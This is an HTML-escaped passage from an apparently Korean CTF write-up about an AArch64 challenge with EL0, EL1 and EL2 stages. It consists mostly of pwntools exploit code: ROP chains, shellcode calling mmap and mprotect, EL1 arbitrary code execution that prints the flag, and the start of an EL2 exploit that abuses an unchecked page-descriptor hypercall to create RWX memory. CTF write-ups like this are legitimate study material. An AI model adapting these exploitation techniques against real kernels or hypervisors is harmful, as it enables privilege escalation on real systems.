&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; el0_tail_assembly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(head_input)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(rop_chain)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x94&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(tail_input)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el1_arbitrary_code_execute&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    NEW_MAP_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFEFFFFB000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    DESCRIPTOR_TABLE_ADDR_OF_NEW_MAP &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0028FD8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, NEW_MAP_ADDR]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el1_return_oriented_programming(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rop_chain&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;chain,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        el0_head_assembly&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, #0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, #3;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x3, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x4, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x5, #0xFFFFFFFFFFFFFFFF;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x6, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;mmap&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x6;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x20, x0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x6, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;gets&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x6;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, x20;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, #5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x6, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;mprotect&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x6;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(DESCRIPTOR_TABLE_ADDR_OF_NEW_MAP&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x22, x22, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            cmp x22, x23;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            b.lt read_rop_chain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;,  &lt;span style=&#34;color:#75715e&#34;&gt;# this mmap allocate NEW_MAP_ADDR(0x7ffeffffb000)-0x36000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        head_input&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;make_shellcode(assembly) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; remote(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;6666&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run_debug.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;el0_elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./el0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL1_PRINT_FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0008408&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL1_EXIT &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC00091A4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;el1_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ldr x2, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_PRINT_FLAG)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    blr x2;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ldr x2, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_EXIT)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    blr x2;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag (EL1): &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvline()[:&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;FLAG&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;nsel2&#34;&gt;NS.EL2&lt;/h3&gt;
&lt;p&gt;EL2 부터는 플래그를 출력해주는 함수가 없으므로 Arbitrary Code Execute 만을 서술한다.&lt;br&gt;
EL2 의 취약점은 hvc 에서 IPA 의 Page Descriptor 설정하는데 존재한다. descriptor 를 설정할 때 ipa 의 범위는 검증하지만, descriptor 의 범위는 검증하지 않는다. 그리고 ipa 의 하위 바이트를 검증하지 않으므로 RWX 영역을 만들 수 있다.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# context.log_level = &amp;#34;debug&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DUMMY_VALUE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xDEAD_BEEF_CAFE_BEBE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_FFA0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_D000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_WSM &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_00FC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDR_X19_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0294&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_shellcode&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:
